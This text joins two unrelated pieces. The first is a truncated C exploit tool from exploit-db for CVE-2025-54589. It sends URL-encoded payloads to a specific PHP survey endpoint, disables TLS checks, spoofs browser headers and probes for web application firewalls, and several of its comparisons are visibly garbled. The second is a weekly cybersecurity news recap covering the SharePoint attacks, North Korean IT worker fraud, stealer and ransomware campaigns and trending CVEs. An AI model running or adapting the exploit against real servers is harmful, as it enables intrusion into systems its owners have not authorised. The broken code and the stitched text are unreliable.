CURLE_OK) { int a = 0; int b =1; int c = 3; int d = 4; long code; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeWaf); printf("\e[1;36m[+] Check Http Code...\e[0m\n"); printf("\e[1;32m[+] Http Code => %ld\e[0m\n", code); if (code == 500 || code == 403 || code == 406) { printf("\e[1;35m---------------------------------------\e[0m\n"); printf("\e[1;34m[+] Http Code (500, 403, 406) ! \e[0m\n"); printf("\e[1;34m[+] Waf Detect (Page Not Found) \e[0m\n"); printf("\e[1;35m--------------------------------------\e[0m\n"); a = 1; } else { printf("\e[1;31m[-] Not Detected Waf (HTTP CODE) !\e[0m\n"); } printf("\e[1;36m[+] Check Response Server (NULL)\e[0m\n"); const char *wordWaf[] = { "cloudflare", "sucuri", "mod_security", "incapsula", "akamai", "f5-big-ip", "waf", "firewall", "blocked", "access denied", "forbidden", "security", "protected by", "request rejected", "webshield", "ddos protection", "intrusion prevention", "proxy server", "bot detection", "deny", "you have been blocked", "unauthorized", "client blocked", "blocked by firewall", "bad request", "threat", "filtering", "deny access", "rule id", NULL }; if (code >= 200 && code = 3.0) { printf("\e[1;34m[+] Suspicious delay in response: %.2f sec\e[0m\n", timeWaf); } else { printf("\e[1;31m[-] Not Detect Waf (Time) !\e[0m\n"); } printf("\e[1;35m==========================\e[0m\n"); printf("\e[1;33m[+] Result Scan : \e[0m\n"); if (a || b || c || d) { printf("\e[1;31m[-] Waf Detected \e[0m\n"); result = 0; } else { printf("\e[1;34m[+] Not Detect Waf !\e[0m\n"); result =1; } printf("\e[1;35m===========================================================================================\e[0m\n"); } else { printf("\e[1;31m[-] No connection reset error.\e[0m\n"); printf("\e[1;31m[-] Error Send Request, Please Check Your Connection !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); } } curl_easy_cleanup(curl); free(wafServer.buffer); wafServer.buffer = NULL; wafServer.len = 0; return result; } void httpRequest(const char *url) { CURL *curl = curl_easy_init(); struct Mem response; CURLcode res; response.buffer =NULL; response.len = 0; if (!curl || curl == NULL) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); printf("\e[1;31m[-] Please Check Your Connection\e[0m\n"); exitAssembly(); } int y = 0; if (curl) { printf("\e[1;34m[+] Create CURL Successfully\e[0m\n"); for (int pL = 0; payload[pL] != NULL; pL++) { char full[FULL_URL]; char *encodePayload = curl_easy_escape(curl, payload[pL], strlen(payload[pL])); if (!encodePayload) { printf("\e[1;31m[-] Error Encode Payload !\e[0m\n"); clean(response.buffer, response.len, curl, encodePayload); exitAssembly(); } int lenF = snprintf(full, sizeof(full), "%s/encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio=%s", url,encodePayload); if (lenF = sizeof(full)) { printf("\e[1;31m[-] FULL URL is LONG ! \n"); clean(response.buffer, response.len, curl, encodePayload); exitAssembly(); } printf("\e[1;37m[+] Encode Payload : %s\e[0m\n", encodePayload); printf("\e[1;37m[+] Base URL : %s\e[0m\n", url); printf("\e[1;37m[+] Full URL : %s\e[0m\n", full); char ip[256]; if (sscanf(full, "http://%255[^/]/encuestas/", ip) == 1) { printf("\e[1;37m[+] target Ip / Domain : %s\e[0m\n", (char *)ip); y = 1; } else { printf("\e[1;31m[-] Error Get Target Ip In FULL URL !\e[0m\n"); y = 0; } curl_easy_setopt(curl, CURLOPT_URL, full); if (useC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepSyscall(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); char r[130]; int lenR = snprintf(r, sizeof(r), "Referer: %s", url); if (lenR = sizeof(r)) { printf("\e[1;31m[-] Len Header Referer Is long !\e[0m\n"); clean(response.buffer,response.len, curl, encodePayload); exitAssembly(); } headers = curl_slist_append(headers, r); headers = curl_slist_append(headers, "Cache-Control: no-cache"); headers = curl_slist_append(headers, "Content-Type: application/x_222-form-urlencoded"); if (y == 0) { char host[230]; int lenHo = snprintf(host , sizeof(host), "Host: %s",ip); headers = curl_slist_append(headers, host); } headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); free(response.buffer); response.buffer = NULL; response.len = 0; time_t start = clock(); if (res == CURLE_OK) { long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;31m--------------------------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); if (response.buffer) { printf("\e[1;34m\n======================================== [RESPONSE] ========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;34m==============================================================================================\e[0m\n"); } else { printf("\e[1;31m[-] Response Is NULL !\e[0m\n"); } if (httpCode >= 200 && httpCode \n"); curl_global_cleanup(); exitAssembly(); }; printf("---------------------------------------------------------------------\n\n"); printf("[+] Start Exploit (CVE-2025-54589)...\n"); uid(); if (cookies) { useC = 1; } if (verbose) { verbose = 1; } if (w) { wafD(url); } else { httpRequest(url); } curl_global_cleanup(); return 0; }
exploit-db.comAug 3, 2025extracted
⚡ Weekly Recap — SharePoint Breach, Spyware, IoT Hijacks, DPRK Fraud, Crypto Drains and More
Some risks don’t breach the perimeter—they arrive through signed software, clean resumes, or sanctioned vendors still hiding in plain sight. This week, the clearest threats weren’t the loudest—they were the most legitimate-looking. In an environment where identity, trust, and tooling are all interlinked, the strongest attack path is often the one that looks like it belongs. Security teams are now challenged to defend systems not just from intrusions—but from trust itself being turned into a weapon. ⚡ Threat of the Week Microsoft SharePoint Attacks Traced to China — The fallout from an attack spree targeting defects in on-premises Microsoft SharePoint servers continues to spread a week after the discovery of the zero-day exploits, with more than 400 organizations globally compromised. The attacks have been attributed to two known Chinese hacking groups tracked as Linen Typhoon (aka APT27), Violet Typhoon (aka APT31), and a suspected China-based threat actor codenamed Storm-2603 that has leveraged the access to deploy Warlock ransomware. The attacks leverage CVE-2025-49706, a spoofing flaw, and CVE-2025-49704, a remote code execution bug, collectively called ToolShell. Bloomberg reported that Microsoft is investigating whether a leak from Microsoft Active Protections Program (MAPP), which provides early access to vulnerability information to security software providers, may have led to the zero-day exploitation. China has denied allegations it was behind the campaign. Flare Customers Saw 321% ROI, Says Forrester Consulting Total Economic Impact™ (TEI) Study A new Forrester Consulting study commissioned by Flare shows how Flare’s threat exposure management platform delivered 321% ROI, cut manual work by 75%, and paid for itself in under 6 months for a composite organization representative of interviewed customers. Get the full business case. Read the Study ➝ 🔔 Top News U.S. Treasury Sanctions N. Korean Company for IT Worker Scheme — The U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) sanctioned a North Korean front company and three associated individuals for their involvement in the fraudulent remote information technology (IT) worker scheme designed to generate illicit revenues for Pyongyang. In a related move, Christina Marie Chapman, a laptop farmer in Arizona responsible for facilitating the scheme, was sentenced to jail for eight-and-a-half years, after raising $17 million in illicit funds for the regime. In these schemes, IT workers from North Korea use well-crafted, carefully curated portfolios, complete with full social media profiles, AI-enhanced photos and deepfakes, and stolen identities to pass background checks and land jobs at various U.S. companies. Once hired, they take the help of facilitators to receive company-issued laptops and other equipment, which they can then connect to remotely, thereby giving the impression that they are within the country where the company is located. The ongoing efforts operate with the twin goals of generating revenue for the Hermit Kingdom's nuclear program and other efforts via regular salaries, as well as gaining a foothold inside corporate networks for the purpose of planting malware for stealing secrets and extorting their employers. "DPRK's cyber operations challenge the traditional nation-state playbook – merging cryptocurrency theft, espionage, and nuclear ambition within a self-funded system driven by profit, loyalty, and survival," said Sue Gordon, a member of DTEX's Advisory Board and former principal deputy director of U.S. National Intelligence. "Recognizing it as a family-run mafia syndicate unblurs the lines between cybercrime and statecraft. This report pulls back the curtain on their inner workings and psychology, revealing how deeply embedded they already are within our workforce – providing the context needed to anticipate their next move." Soco404 and Koske Target Misconfigured Cloud Instances to Drop Miners — Two different malware campaigns have targeted vulnerabilities and misconfigurations across cloud environments to deliver cryptocurrency miners. These activity clusters have been codenamed Soco404 and Koske. While Soco404 targets both Linux and Windows systems to deploy platform-specific malware, Koske is a Linux-focused threat. There is also evidence to suggest that Koske has been developed using a large language model (LLM), given the presence of well-structured comments, best-practice logic flow with defensive scripting habits, and synthetic panda-related imagery to host the miner payload. XSS Forum Taken Down and Suspected Admin Arrested — Law enforcement notched a significant victory against the cybercrime economy with the disruption of the notorious forum XSS and the arrest of its suspected administrator. That said, it's important to note that takedowns of similar forums have proved short-lived, and threat actors often move to new platforms or other alternatives, such as Telegram channels. The development comes as LeakZone, a self-styled "leaking and cracking forum" where users advertise and share breached databases, stolen credentials, and pirated software, was caught leaking the IP addresses of its logged-in users to the open web. Coyote Trojan Exploits Windows UI Automation — The Windows banking trojan known as Coyote has become the first known malware strain to exploit the Windows accessibility framework called UI Automation (UIA) to harvest sensitive information. Coyote, which is known to target Brazilian users, comes with capabilities to log keystrokes, capture screenshots, and serve overlays on top of login pages associated with financial enterprises. Akamai's analysis found that the malware invokes the GetForegroundWindow() Windows API in order to extract the active window's title and compare it against a hard-coded list of web addresses belonging to targeted banks and cryptocurrency exchanges. "If no match is found Coyote will then use UIA to parse through the UI child elements of the window in an attempt to identify browser tabs or address bars," Akamai said. "The content of these UI elements will then be cross-referenced with the same list of addresses from the first comparison." Cisco Confirms Active Exploits Targeting ISE — Cisco has warned that a set of security flaws in Identity Services Engine (ISE) and ISE Passive Identity Connector (ISE-PIC) have come under active exploitation in the wild. The flaws, CVE-2025-20281, CVE-2025-20337, and CVE-2025-20282, allow an attacker to execute arbitrary code on the underlying operating system as root or upload arbitrary files to an affected device and then execute those files on the underlying operating system as root. The network equipment vendor did not disclose which vulnerabilities have been weaponized in real-world attacks, the identity of the threat actors exploiting them, or the scale of the activity. ️🔥 Trending CVEs Hackers are quick to jump on newly discovered software flaws – sometimes within hours. Whether it’s a missed update or a hidden bug, even one unpatched CVE can open the door to serious damage. Below are this week’s high-risk vulnerabilities making waves. Review the list, patch fast, and stay a step ahead. This week's list includes — CVE-2025-54068 (Laravel Livewire Framework), CVE-2025-34300 (Lighthouse Studio), CVE-2025-6704, CVE-2025-7624 (Sophos Firewall), CVE-2025-40599 (SonicWall SMA 100 Series), CVE-2025-49656, CVE-2025-50151 (Apache Jena), CVE-2025-22230, CVE-2025-22247 (Broadcom VMware Tools), CVE-2025-7783 (form-data), CVE-2025-34140, CVE-2025-34141, CVE-2025-34142, CVE-2025-34143 (Hexagon ETQ Reliance), CVE-2025-8069 (AWS Client VPN for Windows), CVE-2025-7723, CVE-2025-7724 (TP-Link VIGI NVR), CVE-2025-7742 (LG Innotek LNV5110R), CVE-2025-24000 (Post SMTP), CVE-2025-52449, CVE-2025-52452, CVE-2025-52453, CVE-2025-52454, CVE-2025-52455 (Salesforce Tableau Server), and CVE-2025-6241 (SysTrack). 📰 Around the Cyber World Google Removes 1000s of YouTube Channels Tied to Influence Ops — Google removed nearly 11,000 YouTube channels and other accounts tied to state-linked propaganda campaigns from China, Russia and more in the second quarter of 2025. It removed over 2,000 removed channels linked to Russia, including 20 YouTube channels, 4 Ads accounts, and 1 Blogger blog associated with RT, a Russian state-controlled media outlet. The takedown also included more than 7,700 YouTube channels linked to China, which shared content in Chinese and English that promoted the People’s Republic of China, supported President Xi Jinping and commented on U.S. foreign affairs. Surveillance Company Bypasses SS7 Safeguards — An unnamed surveillance company has been using a new attack technique to bypass the Signaling System 7 (SS7) protocol's protections and trick telecommunications companies into disclosing the location of their users. The attack method, likely used since the fourth quarter of 2024, hinges on Transaction Capabilities Application Part (TCAP) manipulation through SS7 commands that have been encoded in such a manner that their contents are not parsed by the protection systems or firewalls at the target network. "We don't have any information on how successful this attack method has been worldwide, as its success is vendor/software specific, rather than being a general protocol vulnerability, but its use as part of a suite indicates that it has had some value," Enea researchers Cathal Mc Daid and Martin Gallagher said. Number of Phishing Sites Aimed at Telegram Spikes — A new report has found that the number of phishing sites aimed at Telegram users increased to 12,500 in the second quarter of 2025. In one variant of the scheme, fraudsters create a phishing page that simulates the login page associated with Telegram or Fragment, a platform on the TON blockchain that allows users to buy and sell unique Telegram usernames and virtual phone numbers. Should victims enter their credentials and the confirmation codes, the accounts are hijacked by the attackers. The second scenario entails the attacker approaching a victim to purchase a rare digital gift from them in Telegram for a large amount. "As payment, the fraudster sends fake tokens," BI.ZONE said. "At first glance, they are indistinguishable from the real ones, but they have no real value. After the transfer, the victim is left without a gift and with a fake digital currency." In a related report, Palo Alto Networks Unit 42 said it identified 54,446 domains hosting phishing sites in a campaign impersonating Telegram dubbed telegram_acc_hijack. "These pages collect Telegram login credentials submitted and real-time one-time passcodes (OTPs) to hijack user accounts," the company added. Former NCA Employee Sentenced to 5.5 Years in Prison — A former officer with the U.K. National Crime Agency (NCA) was sentenced to five-and-a-half years in prison after stealing a chunk of the Bitcoin seized by the agency as part of a law enforcement operation targeting the now-defunct illicit dark web marketplace Silk Road. Paul Chowles, 42, was identified as the culprit after authorities recovered his iPhone, which linked him to an account used to transfer Bitcoin as well as relevant browser search history relating to a cryptocurrency exchange service. "Within the NCA, Paul Chowles was regarded as someone who was competent, technically minded and very aware of the dark web and cryptocurrencies," Alex Johnson, Specialist Prosecutor with the Crown Prosecution Service's Special Crime Division, said. "He took advantage of his position working on this investigation by lining his own pockets while devising a plan that he believed would ensure that suspicion would never fall upon him. Once he had stolen the cryptocurrency, Paul Chowles sought to muddy the waters and cover his tracks by transferring the Bitcoin into mixing services to help hide the trail of money." U.K. Sanctions 3 Russian GRU Units for Sustained Cyber Attacks — The U.K. sanctioned three units of the Russian military intelligence agency (GRU) and 18 military intelligence officers for "conducting a sustained campaign of malicious cyber activity over many years" with an aim to "sow chaos, division and disorder in Ukraine and across the world." The sanctions cover Unit 26165 (linked to APT28), Unit 29155 (linked to Cadet Blizzard), and Unit 74455 (linked to Sandworm), as well as African Initiative, a "social media content mill established and funded by Russia and employing Russian intelligence officers to conduct information operations in West Africa." U.K. Floats Ransomware Payments Ban for Public Bodies — The U.K. government has proposed new legislation that would ban public sector organizations and critical national infrastructure from paying criminal operators behind ransomware attacks, as well as enforce mandatory reporting requirements for all victims to inform law enforcement of attacks. "Public sector bodies and operators of critical national infrastructure, including the NHS, local councils and schools, would be banned from paying ransom demands to criminals under the measure," the government said. "The ban would target the business model that fuels cyber criminals' activities and makes the vital services the public rely on a less attractive target for ransomware groups." Businesses that do not fall under the ambit of the law would be required to notify the government of any intent to pay a ransom. A failure to download patches to address widely exploited vulnerabilities could lead to daily fines of £100,000 or 10 percent of turnover should a digital break-in occur. Thought Lumma Was Out of Commission? Think Again! — The Lumma Stealer operations have recovered following a law enforcement takedown of its infrastructure earlier this year, with the malware being distributed through more discreet channels and stealthier evasion tactics. "Lumma's infrastructure began ramping up again within weeks of the takedown," Trend Micro said. "This rapid recovery highlights the group's resilience and adaptability in the face of disruption." A notable shift is the reduction in volume of domains using Cloudflare's services to obfuscate their malicious domains and make detection more challenging, instead shifting to Russian alternatives like Selectel. "This strategic pivot suggests a move towards providers that might be perceived as less responsive to law enforcement requests, further complicating efforts to track and disrupt their activities," the company added. Lumma Stealer is known for its diverse and evolving delivery methods, leveraging social media posts, GitHub, ClickFix, and fake sites distributing cracks and key generators, as initial access methods. The resurgence of Lumma is par for the course with modern cybercriminal operations that often can quickly resume activity even after significant law enforcement disruptions. In a statement shared with The Hacker News, ESET confirmed the resurgence of Lumma Stealer and that the current activity has approached levels similar to those before the law enforcement action. "Lumma Stealer operators continue to register dozens of new domains weekly – activity that didn’t stop even after the disruption – but switched to primarily resolving them at nameservers located in Russia," Jakub Tománek, ESET malware analyst, said. "The codebase itself has shown minimal changes since the takedown attempt. This indicates the group’s primary focus has been on restoring operations rather than innovating their 'product' and introducing new features." U.S. Government Warns of Interlock Ransomware — The U.S. government has warned of Interlock ransomware attacks targeting businesses, critical infrastructure, and other organizations in North America and Europe since late September 2024. The attacks, designed to target both Windows and Linux systems, employ drive-by downloads from compromised legitimate websites or ClickFix- and FileFix-style lures to drop payloads for initial access. "Actors then use various methods for discovery, credential access, and lateral movement to spread to other systems on the network," the U.S. government said. "Interlock actors employ a double extortion model in which actors encrypt systems after exfiltrating data, which increases pressure on victims to pay the ransom to both get their data decrypted and prevent it from being leaked." Also part of the threat actor's tooling are Cobalt Strike and a custom remote access trojan called NodeSnake RAT, and information stealers like Lumma Stealer and Berserk Stealer to harvest credentials for lateral movement and privilege escalation. Apple Notifies Iranians of Spyware Attacks — Apple notified more than a dozen Iranians in recent months that their iPhones had been targeted with government spyware, according to a digital rights and security organization called Miaan Group. This included individuals who have a long history of political activism. Also notified by Apple were dissidents and a technology worker. It's unclear which spyware maker is behind these attacks. The attacks mark the first known example of advanced mercenary tools being used both inside Iran and against Iranians living abroad. Linux Servers Targeted by SVF Bot — Poorly managed Linux servers are being targeted by a campaign that delivers a Python-based malware called SVF Bot that enlists infected machines in a botnet that can conduct distributed denial-of-service (DDoS) attacks. "When the SVF Bot is executed, it can authenticate with the Discord server using the following Bot Token and then operate according to the threat actor's commands," ASEC said. "Most of the supported commands are for DDoS attacks, with L7 HTTP Flood and L4 UDP Flood being the main types supported." Turkish Companies Targeted by Snake Keylogger — Turkish organizations are the target of a new phishing campaign that delivers an information stealer called Snake Keylogger. The activity, primarily singling out defense and aerospace sectors, involves distributing bogus email messages that impersonate Turkish Aerospace Industries (TUSAŞ) in an attempt to trick victims into opening malicious files under the guise of contractual documents. "Once executed, the malware employs advanced persistence mechanisms – including PowerShell commands to evade Windows Defender and scheduled tasks for auto-execution – to harvest sensitive data, such as credentials, cookies, and financial information, from a wide range of browsers and email clients," Malwation said. Former Engineer Pleads Guilty to Trade Theft — A Santa Clara County man and former engineer at a Southern California company pleaded guilty to stealing trade secret technologies developed for use by the U.S. government to detect nuclear missile launches, track ballistic and hypersonic missiles, and to allow U.S. fighter planes to detect and evade heat-seeking missiles. Chenguang Gong, 59, of San Jose, pleaded guilty to one count of theft of trade secrets. He remains free on a $1.75 million bond. Gong – a dual citizen of the United States and China – transferred more than 3,600 files from a Los Angeles-area research and development company where he worked to personal storage devices during his brief tenure with the company last year. The victim company hired Gong in January 2023 as an application-specific integrated circuit design manager. He was terminated three months later. Gong, who was arrested and charged in February, is scheduled for sentencing on September 29, 2025. He faces up to 10 years in prison. FBI Issues Warning About The Com — The Federal Bureau of Investigation (FBI) is warning the public about an online group called In Real Life (IRL) Com that provides violence-as-a-service (VaaS), including shootings, kidnappings, armed robbery, stabbings, physical assault, and bricking. "Services are posted online with a price breakdown for each act of violence," the FBI said. "Groups offering VaaS advertise contracts on social media platforms to solicit individuals willing to conduct the act of violence for monetary compensation." The threat group is also said to advertise swat-for-hire services via communication applications and social media platforms. IRL Com is assessed to be one of three subsets of The Com (short for The Community), a growing online collective comprising primarily of thousands of English-speaking individuals, many of whom are minors, and engage in a wide range of criminal endeavors. The other two offshoots are Hacker Com, which is linked to DDoS and ransomware-as-a-service (RaaS) groups, and Extortion Com, which primarily involves the exploitation of children. Notably, the Com encompasses threat clusters tracked as LAPSUS$ and Scattered Spider. A similar warning was issued by the U.K. National Crime Agency (NCA) earlier this March, calling attention to The Com's trend of recruiting teenage boys to commit a range of criminal acts, from cyber fraud and ransomware to child sexual abuse. Organized Crime Group Behind Large-Scale Fraud Disrupted — A highly organised criminal group involved in large-scale fraud in Western Europe was dismantled in a coordinated operation led by authorities from Romania and the United Kingdom. "The gang had travelled from Romania to several Western European countries, mainly the UK, and withdrew large sums of money from ATM machines," Europol said. "They later laundered the proceeds by investing in real estate, companies, vacations, and luxury products, including cars and jewelry." The operation has led to two arrests, 18 house searches, and the seizure of real estate, luxury cars, electronic devices, and cash. The attackers committed what has been described as Transaction Reversal Fraud (TRF), in which the screen of an ATM is removed and a bank card is inserted to request funds. The transactions were canceled (or reversed) before the funds were dispensed, allowing them to reach inside the ATM and take the cash before it was retracted. The gang is estimated to have plundered about €580,000 (about $681,000) using this method. "The perpetrators were also involved in other criminal activities, including skimming, forging electronic means of payment and transport cards, and conducting bin attacks — a type of card fraud carried out using software designed to identify card numbers and generate illicit income through fraudulent payments," Europol added. The development came as a 21-year-old U.K. student, Ollie Holman, who designed and distributed 1,052 phishing kits linked to £100 million (approximately $134 million) worth of fraud, was jailed for seven years. It is estimated that Holman received £300,000 from selling the kits between 2021 and 2023. The phishing kits were sold via Telegram. Holman previously pleaded guilty to seven counts, including encouraging or assisting the commission of an offence, making or supplying articles for use in fraud, and transferring, acquiring, and possessing criminal property, per the Crown Prosecution Service. Endgame Gear Acknowledges Supply Chain Attack — Gaming peripheral manufacturer Endgame Gear confirmed that unidentified threat actors compromised its official software distribution system to spread dangerous Xred malware to unsuspecting customers for nearly two weeks via the OP1w 4k v2 product page. The security breach occurred between June 26 and July 9, 2025. The company stated that "access to our file servers was not compromised, and no customer data was accessible or affected on our servers at any time," and that "This issue was isolated to the OP1w 4k v2 product page download only." New Campaign Targeted Crypto Users Since March 2024 — A new sophisticated and evasive malware campaign has managed to stay unnoticed and target cryptocurrency users globally since March 2024. Dubbed WEEVILPROXY, the activity leverages Facebook advertisement campaigns masquerading as well-known cryptocurrency-related software and platforms, such as Binance, Bybit, Kraken, Revolut, TradingView, and others, to trick users into downloading fake installers that ultimately drop information stealers and cryptocurrency drainers. "We have also observed the threat actor propagate ads through Google Display Network since April-May 2025, which are displayed throughout the internet in the form of images/videos," WithSecure said. "These ads appear geographically bound as well, for instance, we have observed such ads specifically targeting the Philippines, Malaysia, Thailand, Vietnam, Bangladesh, and Pakistan." VMDetector Loader Delivers Formbook Malware — A new variant of the VMDetector Loader malware has been found embedded within the "pixel data" of a seemingly benign JPG image that's delivered via phishing emails to ultimately deploy an information stealer called Formbook. The JPG image is retrieved from archive.org by means of Visual Basic Scripts present within zipped archives that are sent as attachments to the email messages. Threat Actors Use mount Binary in Hikvision Attacks — Attacks in the wild exploiting CVE-2021-36260, a command injection bug affecting Hikvision cameras, have been uncovered, leveraging the flaw to mount a remote NFS share and execute a file off of it. "The attacker tells mount to make the remote NFS share, /srv/nfs/shared, on 87.121.84[.]34 available locally as the directory ./b," VulnCheck said. How Windows Drivers Can Be Weaponized? — In a new detailed analysis, Security Joes has highlighted the threat posed by kernel-mode attacks and how attacks abusing vulnerable drivers, called the Bring Your Own Vulnerable Driver (BYOVD) technique, can be used by attackers to exploit signed-but-flawed drivers to bypass kernel protections. "Because drivers run in kernel mode, they possess high privileges and unrestricted access to system resources," the company said. "This makes them a high-value target for attackers aiming to escalate privileges, disable security mechanisms such as EDR callbacks, and achieve full control over the system." Organizations' Attack Surface Increases — Organizations have created more entry points for attackers. That's according to a report from ReliaQuest, which found a 27% increase in exposed ports between the second half of 2024 and the first half of 2025, a 35% increase in exposed operational technology (OT), and a surge in vulnerabilities in public-facing systems, such as PHP and WordPress. "Vulnerabilities in public-facing assets more than doubled, rising from 3 per organization in the second half of 2024 to 7 in the first half of 2025," the company said. "From late 2024 to early 2025, the number of exposed access keys for organizations in our customer base doubled, creating twice the opportunity for attackers to slip in unnoticed." Iranian Bank Pasargad Targeted During June Conflict — The Iranian bank known as Pasargad was targeted as part of a cyber attack during the Iran-Israel war in June 2025, impacting access to crucial services. A suspected Israeli operation called Predatory Sparrow claimed responsibility for the attack on another Iranian bank Sepah and the country's largest cryptocurrency exchange, Nobitex. CrowdStrike Outage Impacted Over 750 U.S. Hospitals — A new study undertaken by a group of academics from the University of California, San Diego, found that 759 U.S. hospitals experienced IT outages last July due to a faulty CrowdStrike update. "A total of 1098 distinct network services with outages were identified, of which 631 (57.5%) were unable to be classified, 239 (21.8%) were direct patient-facing services, 169 (15.4%) were operationally relevant services, and 58 (5.3%) were research-related services," the study said. North Korean Actors Employ NVIDIA Lures — The North Korean threat actors behind the Contagious Interview (aka DeceptiveDevelopment) campaign are leveraging ClickFix-style lures to trick unsuspecting job seekers into downloading a supposed NVIDIA-related update to address camera or microphone issues when attempting to provide a video assessment. The attack leads to the execution of a Visual Basic Script that launches a Python payload called PylangGhost that steals credentials and enables remote access via MeshAgent. ACRStealer Variant Distributed in New Attacks — Threat actors are propagating a new variant of ACRStealer that incorporates new features aimed at detection evasion and analysis obstruction. "The modified ACRStealer uses the Heaven's Gate to disrupt detection and analysis," AhnLab said. "Heaven's Gate is a technique used to execute x64 code in WoW64 processes and is widely used for analysis evasion and detection avoidance." The new version has been rebranded as Amatera Stealer, per Proofpoint. It's offered for sale for $199 per month to $1,499 per year. Aeza Group Shifts Infrastructure After U.S. Sanctions — Earlier this month, the U.S. Treasury Department imposed sanctions against Russia-based bulletproof hosting (BPH) service provider Aeza Group for assisting threat actors in their malicious activities, such as ransomware, data theft, and darknet drug trafficking. Silent Push, in a new analysis, said IP ranges from Aeza's AS210644 began migrating to AS211522, a new autonomous system operated by Hypercore Ltd., starting July 20, 2025, in an attempt to evade sanctions enforcement and operate under new infrastructure. Request for Quote Scams Demonstrate Sophistication — Cybersecurity researchers are calling attention to a widespread Request for Quote (RFQ) scam that employs common Net financing options (Net 15, 30, 45) to steal a variety of high-value electronics and goods. "In RFQ campaigns, the actor reaches out to a business to ask for quotes for various products or services," Proofpoint said. "The quotes they receive can be used to make very convincing lures to send malware, phishing links, and even additional business email compromise (BEC) and social engineering fraud." Besides using vendor-supplied financing and stolen identities of real employees to steal physical goods, these scams utilize email and legitimate online quote request forms to reach potential victims. Fake Games Distribute Stealer Malware — A new malware campaign is distributing fake installers for indie game titles such as Baruda Quest, Warstorm Fire, and Dire Talon, promoting them via fraudulent websites, YouTube channels, and Discord, to trick unwitting users into infecting their machines with stealers like Leet Stealer, RMC Stealer (a modified version of Leet Stealer), and Sniffer Stealer. The origins of Leet and RMC malware families can be traced back to Fewer Stealer, suggesting a shared lineage. It's believed that the campaign originally targeted Brazil, before expanding worldwide. U.S. FCC Wants to Ban Companies from Using Chinese Equipment When Laying Submarine Cables — The U.S. Federal Communications Commission said it plans to issue new rules that would ban Chinese technology from U.S. submarine cables in order to protect underwater telecommunications infrastructure from foreign adversary threats. "We have seen submarine cable infrastructure threatened in recent years by foreign adversaries, like China," FCC Chairman Brendan Carr said. "We are therefore taking action here to guard our submarine cables against foreign adversary ownership, and access as well as cyber and physical threats." In a recent report, Recorded Future said the risk environment for submarine cables has "escalated" and that the "threat of state-sponsored malicious activity targeting submarine cable infrastructure is likely to rise further amid heightened geopolitical tensions." The cybersecurity company also cited a lack of redundancy, a lack of diversity of cable routes, and limited repair capacity as some of the key factors that raise the risk of severe impact caused by damage to submarine cables. China Warns Citizens of Backdoored Devices and Supply Chain Threats — China's Ministry of State Security (MSS) has issued an advisory, warning of backdoors in devices and supply chain attacks on software. The security agency said such threats not only risk personal privacy and theft of corporate secrets, but also affect national security. "Potential technical backdoor security risks can also be reduced by strengthening technical protection measures, such as formulating patch strategies, regularly updating operating systems, regularly checking device logs, and monitoring abnormal traffic," MSS said, urging organizations to avoid foreign software and instead adopt domestic operating systems. In a separate bulletin, the MSS also alleged that overseas spy intelligence agencies may set up backdoors in its ocean observation sensors to steal data. NyashTeam Hacking Group Infrastructure Disrupted — Russia-based cybersecurity company F6 said it dismantled a network of domains operated by a relatively unknown hacking crew known as NyashTeam, which sells two different remote access trojans known as DCRat (DarkCrystal RAT) and WebRAT through Telegram bots and websites under the malware-as-a-service (MaaS) model. The malware is distributed using YouTube and GitHub by passing them off as game cheats or pirated software. The group is also believed to provide hosting services for cybercriminal infrastructure and support customers through plugins, guides, and data processing tools, appealing to both novice hackers and experienced cybercriminals alike. RenderShock Attack Technique Detailed — Cybersecurity researchers have detailed a zero-click attack strategy called RenderShock that leverages trusted operating system behaviors to conduct reconnaissance and deliver payloads without requiring any user interaction. "By embedding malicious logic in metadata, preview triggers, and document formats, RenderShock capitalizes on system convenience as an unguarded attack vector," CYFIRMA said. "Modern enterprise systems are built for convenience, automatically previewing, indexing, synchronizing, and rendering files across endpoints, cloud platforms, and productivity suites. These systems often process files without explicit user action, trusting that the rendering process is safe. RenderShock exploits these passive execution surfaces: trusted components that parse untrusted files silently in the background." 🎥 Cybersecurity Webinars AI Is Breaking Trust—Here’s How to Save It Before It’s Too Late — Discover how customers are reacting to AI-driven digital experiences in 2025. The Auth0 CIAM Trends Report reveals rising identity threats, new trust expectations, and the hidden costs of broken logins. Join this webinar to learn how AI can be your biggest asset—or your biggest risk. Python Devs: Your Pip Install Could Be a Malware Bomb — In 2025, Python’s supply chain is under siege — from typosquats to hijacked AI libraries. One wrong pip install could inject malware straight into production. This session shows how to secure your builds with tools like Sigstore, SLSA, and hardened containers. Stop hoping your packages are clean — start verifying. 🔧 Cybersecurity Tools Vendetect - It is an open-source tool designed to detect copied or vendored code across repositories — even when the code has been modified. Built for real-world security and compliance needs, it uses semantic fingerprinting and version control analysis to identify where code was copied from, including the exact source commit. 